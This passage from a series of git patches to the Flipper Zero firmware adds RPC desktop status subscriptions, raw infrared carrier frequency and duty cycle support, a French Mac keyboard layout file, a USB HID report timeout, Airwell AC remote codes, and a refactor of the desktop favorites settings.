rpc_desktop->status_subscription = NULL; + rpc_send_and_release_empty(session, request->command_id, PB_CommandStatus_OK); + } else { + rpc_send_and_release_empty(session, request->command_id, PB_CommandStatus_ERROR); + } +} + void* rpc_desktop_alloc(RpcSession* session) { furi_assert(session); RpcDesktop* rpc_desktop = malloc(sizeof(RpcDesktop)); rpc_desktop->desktop = furi_record_open(RECORD_DESKTOP); + rpc_desktop->status_pubsub = desktop_api_get_status_pubsub(rpc_desktop->desktop); rpc_desktop->session = session; RpcHandler rpc_handler = { @@ -58,6 +112,12 @@ void* rpc_desktop_alloc(RpcSession* session) { rpc_handler.message_handler = rpc_desktop_on_unlock_request; rpc_add_handler(session, PB_Main_desktop_unlock_request_tag, &rpc_handler); + rpc_handler.message_handler = rpc_desktop_on_status_subscribe_request; + rpc_add_handler(session, PB_Main_desktop_status_subscribe_request_tag, &rpc_handler); + + rpc_handler.message_handler = rpc_desktop_on_status_unsubscribe_request; + rpc_add_handler(session, PB_Main_desktop_status_unsubscribe_request_tag, &rpc_handler); + return rpc_desktop; } @@ -65,6 +125,10 @@ void rpc_desktop_free(void* context) { furi_assert(context); RpcDesktop* rpc_desktop = context; + if(rpc_desktop->status_subscription) { + furi_pubsub_unsubscribe(rpc_desktop->status_pubsub, rpc_desktop->status_subscription); + } + furi_assert(rpc_desktop->desktop); furi_record_close(RECORD_DESKTOP); diff --git a/assets/protobuf b/assets/protobuf index a13c5ddd0..f71c4b7f7 160000 --- a/assets/protobuf +++ b/assets/protobuf @@ -1 +1 @@ -Subproject commit a13c5ddd0397511bd4c6de4afdd1031a5b6f5bca +Subproject commit f71c4b7f750f2539a1fed08925d8da3abdc80ff9 From faa14cfa1c7f48481d0165776ff320993853fa68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A9lix=20Legrelle?= Date: Thu, 25 May 2023 16:30:07 +0200 Subject: [PATCH 042/100] :sparkles: Add fr-FR-mac key layout (#2666) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- .../resources/badusb/assets/layouts/fr-FR-mac.kl | Bin 0 -> 256 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/resources/badusb/assets/layouts/fr-FR-mac.kl diff --git a/assets/resources/badusb/assets/layouts/fr-FR-mac.kl b/assets/resources/badusb/assets/layouts/fr-FR-mac.kl new file mode 100644 index 0000000000000000000000000000000000000000..0906936547cd3c8accd9632bac82cb4193a24c25 GIT binary patch literal 256 zcmaLLM{dGU007a^2*c-7jOjgKAVDOih=6?{?tg}?*<^Na;Jp*y9N*W!`r*KahgW`G zvn8kCYGsczPfNdC`{Bl|xjXkB{IulBi;9;$9}G>b+c4NP+OloOuBmr3`wpx*a_q#Z zGgmHLIyaAHEaHW;H-;qCX%J` Date: Thu, 25 May 2023 17:38:56 +0300 Subject: [PATCH 043/100] [FL-3322] Infrared: respect carrier frequency and duty cycle settings (#2677) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Make infrared_worker respect carrier frequency and duty cycle * Update comments Co-authored-by: あく --- applications/main/infrared/infrared.c | 3 +- firmware/targets/f18/api_symbols.csv | 2 +- firmware/targets/f7/api_symbols.csv | 4 +-- .../targets/f7/furi_hal/furi_hal_infrared.c | 14 +++----- lib/infrared/worker/infrared_worker.c | 32 ++++++++++++------- lib/infrared/worker/infrared_worker.h | 10 ++++-- 6 files changed, 38 insertions(+), 27 deletions(-) diff --git a/applications/main/infrared/infrared.c b/applications/main/infrared/infrared.c index 4f450496d..685dd57ec 100644 --- a/applications/main/infrared/infrared.c +++ b/applications/main/infrared/infrared.c @@ -312,7 +312,8 @@ void infrared_tx_start_signal(Infrared* infrared, InfraredSignal* signal) { if(infrared_signal_is_raw(signal)) { InfraredRawSignal* raw = infrared_signal_get_raw_signal(signal); - infrared_worker_set_raw_signal(infrared->worker, raw->timings, raw->timings_size); + infrared_worker_set_raw_signal( + infrared->worker, raw->timings, raw->timings_size, raw->frequency, raw->duty_cycle); } else { InfraredMessage* message = infrared_signal_get_message(signal); infrared_worker_set_decoded_signal(infrared->worker, message); diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index ee1ae1154..b7abdfc05 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,26.3,, +Version,+,27.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index e2bedffb7..15c19091e 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,26.3,, +Version,+,27.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1715,7 +1715,7 @@ Function,+,infrared_worker_rx_set_received_signal_callback,void,"InfraredWorker* Function,+,infrared_worker_rx_start,void,InfraredWorker* Function,+,infrared_worker_rx_stop,void,InfraredWorker* Function,+,infrared_worker_set_decoded_signal,void,"InfraredWorker*, const InfraredMessage*" -Function,+,infrared_worker_set_raw_signal,void,"InfraredWorker*, const uint32_t*, size_t" +Function,+,infrared_worker_set_raw_signal,void,"InfraredWorker*, const uint32_t*, size_t, uint32_t, float" Function,+,infrared_worker_signal_is_decoded,_Bool,const InfraredWorkerSignal* Function,+,infrared_worker_tx_get_signal_steady_callback,InfraredWorkerGetSignalResponse,"void*, InfraredWorker*" Function,+,infrared_worker_tx_set_get_signal_callback,void,"InfraredWorker*, InfraredWorkerGetSignalCallback, void*" diff --git a/firmware/targets/f7/furi_hal/furi_hal_infrared.c b/firmware/targets/f7/furi_hal/furi_hal_infrared.c index 2598e5fa3..7b4f17084 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_infrared.c +++ b/firmware/targets/f7/furi_hal/furi_hal_infrared.c @@ -1,7 +1,6 @@ #include #include #include "stm32wbxx_ll_dma.h" -#include "sys/_stdint.h" #include #include @@ -13,11 +12,10 @@ #include #include -#define INFRARED_TX_DEBUG 0 +// #define INFRARED_TX_DEBUG -#if INFRARED_TX_DEBUG == 1 -#define gpio_infrared_tx gpio_infrared_tx_debug -const GpioPin gpio_infrared_tx_debug = {.port = GPIOA, .pin = GpioModeAnalog}; +#if defined INFRARED_TX_DEBUG +#define gpio_infrared_tx gpio_ext_pa7 #endif #define INFRARED_TIM_TX_DMA_BUFFER_SIZE 200 @@ -330,8 +328,6 @@ static void furi_hal_infrared_tx_dma_isr() { } static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cycle) { - /* LL_DBGMCU_APB2_GRP1_FreezePeriph(LL_DBGMCU_APB2_GRP1_TIM1_STOP); */ - LL_TIM_DisableCounter(TIM1); LL_TIM_SetRepetitionCounter(TIM1, 0); LL_TIM_SetCounter(TIM1, 0); @@ -340,7 +336,7 @@ static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cyc LL_TIM_EnableARRPreload(TIM1); LL_TIM_SetAutoReload( TIM1, __LL_TIM_CALC_ARR(SystemCoreClock, LL_TIM_GetPrescaler(TIM1), freq)); -#if INFRARED_TX_DEBUG == 1 +#if defined INFRARED_TX_DEBUG LL_TIM_OC_SetCompareCH1(TIM1, ((LL_TIM_GetAutoReload(TIM1) + 1) * (1 - duty_cycle))); LL_TIM_OC_EnablePreload(TIM1, LL_TIM_CHANNEL_CH1); /* LL_TIM_OCMODE_PWM2 set by DMA */ @@ -370,7 +366,7 @@ static void furi_hal_infrared_configure_tim_pwm_tx(uint32_t freq, float duty_cyc static void furi_hal_infrared_configure_tim_cmgr2_dma_tx(void) { LL_DMA_InitTypeDef dma_config = {0}; -#if INFRARED_TX_DEBUG == 1 +#if defined INFRARED_TX_DEBUG dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR1); #else dma_config.PeriphOrM2MSrcAddress = (uint32_t) & (TIM1->CCMR2); diff --git a/lib/infrared/worker/infrared_worker.c b/lib/infrared/worker/infrared_worker.c index 5add1413e..46effd420 100644 --- a/lib/infrared/worker/infrared_worker.c +++ b/lib/infrared/worker/infrared_worker.c @@ -40,8 +40,12 @@ struct InfraredWorkerSignal { size_t timings_cnt; union { InfraredMessage message; - /* +1 is for pause we add at the beginning */ - uint32_t timings[MAX_TIMINGS_AMOUNT + 1]; + struct { + /* +1 is for pause we add at the beginning */ + uint32_t timings[MAX_TIMINGS_AMOUNT + 1]; + uint32_t frequency; + float duty_cycle; + } raw; }; }; @@ -146,7 +150,7 @@ static void } if(instance->signal.timings_cnt < MAX_TIMINGS_AMOUNT) { - instance->signal.timings[instance->signal.timings_cnt] = duration; + instance->signal.raw.timings[instance->signal.timings_cnt] = duration; ++instance->signal.timings_cnt; } else { uint32_t flags_set = furi_thread_flags_set( @@ -300,7 +304,7 @@ void infrared_worker_get_raw_signal( furi_assert(timings); furi_assert(timings_cnt); - *timings = signal->timings; + *timings = signal->raw.timings; *timings_cnt = signal->timings_cnt; } @@ -390,8 +394,8 @@ static bool infrared_get_new_signal(InfraredWorker* instance) { infrared_get_protocol_duty_cycle(instance->signal.message.protocol); } else { furi_assert(instance->signal.timings_cnt > 1); - new_tx_frequency = INFRARED_COMMON_CARRIER_FREQUENCY; - new_tx_duty_cycle = INFRARED_COMMON_DUTY_CYCLE; + new_tx_frequency = instance->signal.raw.frequency; + new_tx_duty_cycle = instance->signal.raw.duty_cycle; } instance->tx.tx_raw_cnt = 0; @@ -426,7 +430,7 @@ static bool infrared_worker_tx_fill_buffer(InfraredWorker* instance) { if(instance->signal.decoded) { status = infrared_encode(instance->infrared_encoder, &timing.duration, &timing.level); } else { - timing.duration = instance->signal.timings[instance->tx.tx_raw_cnt]; + timing.duration = instance->signal.raw.timings[instance->tx.tx_raw_cnt]; /* raw always starts from Mark, but we fill it with space delay at start */ timing.level = (instance->tx.tx_raw_cnt % 2); ++instance->tx.tx_raw_cnt; @@ -597,15 +601,21 @@ void infrared_worker_set_decoded_signal(InfraredWorker* instance, const Infrared void infrared_worker_set_raw_signal( InfraredWorker* instance, const uint32_t* timings, - size_t timings_cnt) { + size_t timings_cnt, + uint32_t frequency, + float duty_cycle) { furi_assert(instance); furi_assert(timings); furi_assert(timings_cnt > 0); - size_t max_copy_num = COUNT_OF(instance->signal.timings) - 1; + furi_assert((frequency <= INFRARED_MAX_FREQUENCY) && (frequency >= INFRARED_MIN_FREQUENCY)); + furi_assert((duty_cycle < 1.0f) && (duty_cycle > 0.0f)); + size_t max_copy_num = COUNT_OF(instance->signal.raw.timings) - 1; furi_check(timings_cnt <= max_copy_num); - instance->signal.timings[0] = INFRARED_RAW_TX_TIMING_DELAY_US; - memcpy(&instance->signal.timings[1], timings, timings_cnt * sizeof(uint32_t)); + instance->signal.raw.frequency = frequency; + instance->signal.raw.duty_cycle = duty_cycle; + instance->signal.raw.timings[0] = INFRARED_RAW_TX_TIMING_DELAY_US; + memcpy(&instance->signal.raw.timings[1], timings, timings_cnt * sizeof(uint32_t)); instance->signal.decoded = false; instance->signal.timings_cnt = timings_cnt + 1; } diff --git a/lib/infrared/worker/infrared_worker.h b/lib/infrared/worker/infrared_worker.h index 1a8cd9a76..e0e861983 100644 --- a/lib/infrared/worker/infrared_worker.h +++ b/lib/infrared/worker/infrared_worker.h @@ -130,9 +130,9 @@ void infrared_worker_tx_set_signal_sent_callback( /** Callback to pass to infrared_worker_tx_set_get_signal_callback() if signal * is steady and will not be changed between infrared_worker start and stop. * Before starting transmission, desired steady signal must be set with - * infrared_worker_make_decoded_signal() or infrared_worker_make_raw_signal(). + * infrared_worker_set_decoded_signal() or infrared_worker_set_raw_signal(). * - * This function should not be implicitly called. + * This function should not be called directly. * * @param[in] context - context * @param[out] instance - InfraredWorker instance @@ -172,11 +172,15 @@ void infrared_worker_set_decoded_signal(InfraredWorker* instance, const Infrared * @param[out] instance - InfraredWorker instance * @param[in] timings - array of raw timings * @param[in] timings_cnt - size of array of raw timings + * @param[in] frequency - carrier frequency in Hertz + * @param[in] duty_cycle - carrier duty cycle (0.0 - 1.0) */ void infrared_worker_set_raw_signal( InfraredWorker* instance, const uint32_t* timings, - size_t timings_cnt); + size_t timings_cnt, + uint32_t frequency, + float duty_cycle); #ifdef __cplusplus } From 12dc5b186f49dde06b1d11effacd08ba3f55612b Mon Sep 17 00:00:00 2001 From: Nikolay Minaylov Date: Thu, 25 May 2023 17:50:13 +0300 Subject: [PATCH 044/100] USB HID report timeout (#2682) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- firmware/targets/f7/furi_hal/furi_hal_usb_hid.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c index d27613410..334aa0102 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c @@ -436,7 +436,11 @@ static bool hid_send_report(uint8_t report_id) { if((hid_semaphore == NULL) || (hid_connected == false)) return false; if((boot_protocol == true) && (report_id != ReportIdKeyboard)) return false; - furi_check(furi_semaphore_acquire(hid_semaphore, FuriWaitForever) == FuriStatusOk); + FuriStatus status = furi_semaphore_acquire(hid_semaphore, HID_INTERVAL * 2); + if(status == FuriStatusErrorTimeout) { + return false; + } + furi_check(status == FuriStatusOk); if(hid_connected == false) { return false; } From a472ff7a0fbff7c42682e1aa9e2afdfaa3732e4d Mon Sep 17 00:00:00 2001 From: minchogaydarov <134236905+minchogaydarov@users.noreply.github.com> Date: Thu, 25 May 2023 16:00:13 +0100 Subject: [PATCH 045/100] Add Airwell Prime DCI Series and match file style (#2686) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- assets/resources/infrared/assets/ac.ir | 41 ++++++++++++++++++++++++-- 1 file changed, 39 insertions(+), 2 deletions(-) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 96a2a0f38..cfa62f6a2 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -297,8 +297,8 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 2320 634 837 637 838 637 838 640 835 642 832 1378 836 645 826 670 809 667 808 1406 806 672 803 674 802 1412 802 1412 800 676 801 675 802 1412 802 674 802 1413 801 1412 801 1413 802 1412 802 50937 2285 671 801 1411 802 51225 2280 696 775 1412 801 51212 2283 671 775 1412 802 -# Model: Daikin FTXM20M. # +# Model: Daikin FTXM20M. name: Off type: raw frequency: 38000 @@ -334,8 +334,8 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 503 365 500 364 501 366 499 365 500 364 502 25049 3535 1660 504 1228 503 390 474 391 473 393 471 1261 469 397 468 397 469 397 469 397 469 1264 468 398 468 1264 468 1264 468 398 468 1265 467 1265 467 1265 467 1265 467 1265 467 399 467 399 467 1266 466 399 467 400 466 400 466 400 466 423 443 423 443 401 465 423 442 424 442 424 442 1290 442 424 442 1290 442 424 442 424 441 424 442 1290 442 1291 441 425 441 424 442 425 441 425 441 1291 441 425 440 425 441 425 441 425 441 425 441 425 440 425 441 425 441 425 441 425 441 426 440 1292 440 1292 440 1292 440 426 440 426 440 1292 440 1293 439 1293 439 35480 3503 1696 467 1264 468 398 468 398 467 398 468 1265 467 398 467 399 467 399 466 399 467 1265 467 399 467 1266 466 1267 465 400 466 1290 442 1290 442 1290 442 1290 442 1290 442 424 442 424 442 1290 442 424 441 424 442 424 442 424 442 424 442 424 441 424 442 425 441 424 442 425 441 425 441 1291 441 425 441 425 441 425 441 425 440 1292 440 425 441 425 440 426 440 426 440 426 440 426 440 426 440 426 440 426 440 426 439 427 439 426 440 426 440 1293 439 427 439 427 439 427 438 427 439 428 438 1294 438 428 437 428 438 1295 437 1319 413 453 413 35480 3503 1696 468 1265 467 398 468 398 468 398 468 1265 467 398 468 399 466 399 467 399 467 1266 466 399 466 1267 465 1290 442 401 465 1290 442 1290 442 1290 442 1290 442 1290 442 424 442 424 441 1291 441 424 442 424 442 424 442 424 442 424 441 424 442 425 441 424 442 424 441 425 441 425 441 425 440 425 441 425 441 425 441 425 441 425 441 425 441 1292 440 426 440 426 440 1292 440 426 440 426 440 1293 439 426 440 426 440 1293 439 1293 439 1293 439 427 439 1294 438 427 438 427 439 427 438 428 438 428 438 428 438 428 438 453 413 429 437 453 413 1319 413 1320 412 1320 412 1320 412 454 412 1320 412 454 412 1321 411 1321 411 1321 411 1321 411 1321 411 455 410 455 411 455 411 455 410 456 410 456 410 456 410 481 384 481 385 482 383 482 383 483 358 507 359 1374 358 1374 358 508 358 508 358 508 358 509 357 509 357 535 331 535 331 535 330 535 330 536 330 1403 329 1403 329 563 302 564 301 564 302 564 301 565 301 591 274 619 246 593 273 620 245 620 245 621 245 673 189 -# Model: Mitsubishi SRK63HE. # +# Model: Mitsubishi SRK63HE. name: Off type: raw frequency: 38000 @@ -371,3 +371,40 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 3234 1525 463 333 462 1127 465 332 462 333 436 1153 518 307 488 1073 518 307 488 308 434 1131 459 1155 435 1156 434 362 433 1159 432 363 432 1159 432 1159 432 1159 433 363 432 363 432 363 433 363 432 1159 433 1159 432 363 432 1159 433 1159 432 363 432 363 432 1159 432 363 433 363 432 1159 432 363 432 363 432 1159 432 1159 432 363 432 1160 432 1160 431 1160 432 1160 431 1160 431 1160 431 364 431 1160 431 1160 431 1160 431 364 431 364 431 364 431 364 431 1160 431 364 431 364 431 364 431 1160 432 1160 431 1160 432 364 431 1160 431 1160 431 1161 431 1161 430 364 431 364 431 364 431 1160 432 364 431 364 431 364 432 364 431 1161 431 1161 431 364 431 364 431 1161 430 364 432 364 431 1161 430 365 431 365 431 1161 430 1161 430 365 431 1161 430 1161 430 365 430 +# +# Model: Airwell Prime DCI Series +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3078 3852 2004 888 1054 1824 1045 894 1051 865 2062 861 1078 860 1080 865 1046 894 1015 1883 1945 899 1013 901 1013 901 1012 902 1012 900 1042 927 986 902 1012 927 987 901 1012 902 1012 927 986 903 1011 902 1012 931 1011 931 1011 904 1010 933 1009 928 985 928 986 1885 1944 927 3017 3943 1943 927 985 1915 984 929 985 929 1943 957 984 929 985 928 985 929 985 1886 1943 899 984 930 983 930 984 957 986 929 985 929 985 930 984 930 983 930 984 930 1013 930 984 959 983 931 982 931 983 930 984 930 984 930 984 960 1011 931 984 1918 1939 929 3016 3917 1940 930 982 1916 954 959 954 959 1913 957 955 933 981 959 928 1015 954 1916 1913 959 953 960 957 986 927 1015 928 1015 953 961 927 987 927 986 927 987 927 986 927 1016 927 987 927 1016 926 1044 928 987 926 1015 928 988 926 987 926 988 926 1946 1883 987 3974 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3060 3870 1026 888 1984 886 1026 888 1053 888 1026 887 1055 858 1055 858 1052 860 1024 891 1044 1854 1016 897 1975 1853 1975 925 1015 898 1015 898 1016 897 1016 898 1015 898 1016 898 1015 898 1015 898 1015 899 1015 899 1014 899 1014 899 1016 927 1014 900 1014 899 1014 1856 1974 926 3048 3883 1015 898 1975 897 1014 899 1015 899 1014 900 1014 899 1015 900 1013 900 1014 899 1014 1857 1014 900 1973 1855 1973 899 1012 901 1013 902 1011 926 987 927 987 926 987 927 987 955 987 926 988 926 987 927 1015 927 987 927 987 926 988 926 1016 927 1015 1884 1945 925 3020 3911 986 928 1946 925 986 927 986 928 986 928 986 927 987 927 987 928 986 928 986 1884 987 956 1946 1882 1946 925 986 928 986 927 986 928 985 928 986 928 986 928 986 928 985 928 985 929 959 954 984 930 984 987 931 955 959 956 958 955 959 1968 1891 980 3982 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3054 3879 1977 892 1020 1846 1083 838 1073 840 2031 859 1051 864 1047 864 1077 896 1014 927 986 928 986 928 986 1885 1943 927 985 929 1013 928 986 929 985 928 985 928 985 928 985 929 985 929 985 957 985 928 1015 928 1015 928 985 929 984 929 985 929 985 1886 1943 927 3017 3914 1943 928 984 1886 985 958 984 929 1972 957 984 958 984 929 984 930 984 929 984 930 984 930 983 1887 1942 929 983 930 984 930 984 930 983 959 984 930 984 930 983 930 984 930 984 930 984 930 983 931 983 931 983 959 984 931 983 931 983 1888 1941 930 3014 3943 1914 931 981 1915 955 959 955 959 1913 958 955 959 954 959 955 959 955 959 955 988 955 960 953 1917 1941 959 953 960 953 961 953 961 953 961 927 987 927 987 927 987 926 987 927 1017 926 988 926 988 925 988 925 988 926 988 925 1018 925 1972 1857 1014 3946 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3080 3850 2007 863 1049 1851 1048 888 1054 887 2012 886 1026 887 1025 888 1050 865 1045 1854 2029 871 1041 872 1040 873 1042 899 1043 899 1043 872 1015 898 1016 899 1041 872 1042 872 1015 926 1017 898 1016 927 1016 926 1016 899 1014 898 1015 926 1016 899 1015 898 1015 1856 1973 897 3048 3910 1947 898 1015 1884 1015 925 988 899 2003 953 988 900 1014 954 988 926 987 1857 1972 896 988 899 1014 900 1014 900 1013 927 987 929 1014 929 1013 926 987 927 986 927 987 927 987 927 987 927 986 927 987 927 986 985 958 928 986 927 986 927 1012 1860 1943 927 3018 3914 1943 955 986 1914 986 929 984 928 1944 955 957 930 984 957 985 956 958 1913 1915 956 957 957 956 957 931 1012 957 930 983 958 955 931 982 958 956 960 983 958 956 958 955 958 930 984 930 984 930 984 930 984 930 1013 930 984 930 985 928 1942 1887 983 3977 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3083 3873 2012 1843 2013 1873 1054 888 2011 887 1025 887 1025 887 1052 890 1048 1852 1017 896 1018 895 1018 896 1976 895 1017 898 1016 898 1015 898 1016 897 1016 897 1016 897 1017 897 1016 897 1017 900 1043 899 1014 897 1016 897 1016 898 1016 898 1015 898 1015 1857 1972 896 3048 3911 1947 1853 1975 1854 1015 898 1973 897 1016 927 1015 926 987 926 1016 1857 1014 926 987 899 1015 901 1970 926 987 927 987 926 988 955 988 1013 958 900 1014 926 987 900 1014 900 1014 900 1013 927 986 927 987 927 1016 955 987 927 987 955 987 1884 1946 928 3045 3912 1974 1883 1974 1883 987 927 1974 926 986 927 987 928 987 956 987 1942 986 956 986 928 986 928 1944 926 986 928 985 929 984 929 985 928 986 956 987 928 986 958 984 929 984 930 984 930 983 929 985 958 984 930 984 957 957 956 957 1887 1971 956 4003 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3108 3851 2062 1793 2006 1821 1103 839 2031 859 1085 829 1081 833 1079 836 1045 1911 1973 897 1015 898 1016 899 1041 871 1016 899 1014 898 1015 899 1015 899 1014 899 1041 872 1015 899 1041 872 1041 872 1015 899 1015 899 1041 873 1014 899 1041 873 1014 899 1014 1883 1975 900 3045 3886 1997 1856 1945 1857 1012 927 1945 900 1013 901 1012 901 1013 901 1012 1859 1999 901 1012 930 1012 903 1011 903 1010 903 1011 902 1012 960 1011 928 986 932 1010 903 1011 928 1015 928 985 929 985 928 1014 928 985 929 985 929 984 929 985 928 986 1915 1971 928 3017 3915 1942 1885 1943 1885 985 930 1971 929 984 930 983 930 984 930 984 1887 1942 929 983 960 983 931 982 931 983 932 981 958 985 958 956 958 984 959 954 931 983 932 981 959 955 932 982 959 954 960 982 961 983 933 955 988 955 985 929 1943 1915 958 4003 From 77bb997b0b4bc73a53624af3d1b9391856f70c98 Mon Sep 17 00:00:00 2001 From: Yukai Li Date: Thu, 25 May 2023 10:16:41 -0600 Subject: [PATCH 046/100] desktop: Refactor favorites settings and allow app browser in selection (#2687) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * desktop: Refactor favorites settings and allow app browser in selection * desktop: Gate app browser entry add, just in case * Desktop: simplify favorite application selection * Desktop: refactor favorite application opening routine and cleanup code * Desktop: handle exit from external application selection Co-authored-by: hedger Co-authored-by: あく --- .../services/desktop/desktop_settings.h | 2 - .../desktop/scenes/desktop_scene_main.c | 49 ++++------ .../scenes/desktop_settings_scene_favorite.c | 94 +++++++++---------- 3 files changed, 61 insertions(+), 84 deletions(-) diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index 5d1b6126f..7ab39094d 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -36,8 +36,6 @@ #define MIN_PIN_SIZE 4 #define MAX_APP_LENGTH 128 -#define FAP_LOADER_APP_NAME "Applications" - typedef struct { InputKey data[MAX_PIN_SIZE]; uint8_t length; diff --git a/applications/services/desktop/scenes/desktop_scene_main.c b/applications/services/desktop/scenes/desktop_scene_main.c index 053ac56f1..d19b5560f 100644 --- a/applications/services/desktop/scenes/desktop_scene_main.c +++ b/applications/services/desktop/scenes/desktop_scene_main.c @@ -16,6 +16,8 @@ #define SNAKE_GAME_APP EXT_PATH("/apps/Games/snake_game.fap") #define CLOCK_APP EXT_PATH("/apps/Tools/clock.fap") +#define FAP_LOADER_APP_NAME "Applications" + static void desktop_scene_main_new_idle_animation_callback(void* context) { furi_assert(context); Desktop* desktop = context; @@ -77,6 +79,21 @@ static void desktop_scene_main_open_app_or_profile(Desktop* desktop, const char* } while(false); } +static void desktop_scene_main_start_favorite(Desktop* desktop, FavoriteApp* application) { + LoaderStatus status = LoaderStatusErrorInternal; + if(application->is_external) { + status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, application->name_or_path); + } else if(strlen(application->name_or_path) > 0) { + status = loader_start(desktop->loader, application->name_or_path, NULL); + } else { + status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, NULL); + } + + if(status != LoaderStatusOk) { + FURI_LOG_E(TAG, "loader_start failed: %d", status); + } +} + void desktop_scene_main_callback(DesktopEvent event, void* context) { Desktop* desktop = (Desktop*)context; if(desktop->in_transition) return; @@ -141,40 +158,12 @@ bool desktop_scene_main_on_event(void* context, SceneManagerEvent event) { case DesktopMainEventOpenFavoritePrimary: DESKTOP_SETTINGS_LOAD(&desktop->settings); - if(desktop->settings.favorite_primary.is_external) { - LoaderStatus status = loader_start( - desktop->loader, - FAP_LOADER_APP_NAME, - desktop->settings.favorite_primary.name_or_path); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } else { - LoaderStatus status = loader_start( - desktop->loader, desktop->settings.favorite_primary.name_or_path, NULL); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } + desktop_scene_main_start_favorite(desktop, &desktop->settings.favorite_primary); consumed = true; break; case DesktopMainEventOpenFavoriteSecondary: DESKTOP_SETTINGS_LOAD(&desktop->settings); - if(desktop->settings.favorite_secondary.is_external) { - LoaderStatus status = loader_start( - desktop->loader, - FAP_LOADER_APP_NAME, - desktop->settings.favorite_secondary.name_or_path); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } else { - LoaderStatus status = loader_start( - desktop->loader, desktop->settings.favorite_secondary.name_or_path, NULL); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } + desktop_scene_main_start_favorite(desktop, &desktop->settings.favorite_secondary); consumed = true; break; case DesktopAnimationEventCheckAnimation: diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c index 94c5ee9f0..4b5c47921 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c @@ -5,6 +5,9 @@ #include #include +#define EXTERNAL_APPLICATION_NAME ("[External Application]") +#define EXTERNAL_APPLICATION_INDEX (FLIPPER_APPS_COUNT + 1) + static bool favorite_fap_selector_item_callback( FuriString* file_path, void* context, @@ -44,6 +47,8 @@ void desktop_settings_scene_favorite_on_enter(void* context) { uint32_t primary_favorite = scene_manager_get_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite); uint32_t pre_select_item = 0; + FavoriteApp* curr_favorite_app = primary_favorite ? &app->settings.favorite_primary : + &app->settings.favorite_secondary; for(size_t i = 0; i < FLIPPER_APPS_COUNT; i++) { submenu_add_item( @@ -53,21 +58,25 @@ void desktop_settings_scene_favorite_on_enter(void* context) { desktop_settings_scene_favorite_submenu_callback, app); - if(primary_favorite) { // Select favorite item in submenu - if((app->settings.favorite_primary.is_external && - !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || - (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_primary.name_or_path))) { - pre_select_item = i; - } - } else { - if((app->settings.favorite_secondary.is_external && - !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || - (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_secondary.name_or_path))) { - pre_select_item = i; - } + // Select favorite item in submenu + if(!curr_favorite_app->is_external && + !strcmp(FLIPPER_APPS[i].name, curr_favorite_app->name_or_path)) { + pre_select_item = i; } } +#ifdef APP_FAP_LOADER + submenu_add_item( + submenu, + EXTERNAL_APPLICATION_NAME, + EXTERNAL_APPLICATION_INDEX, + 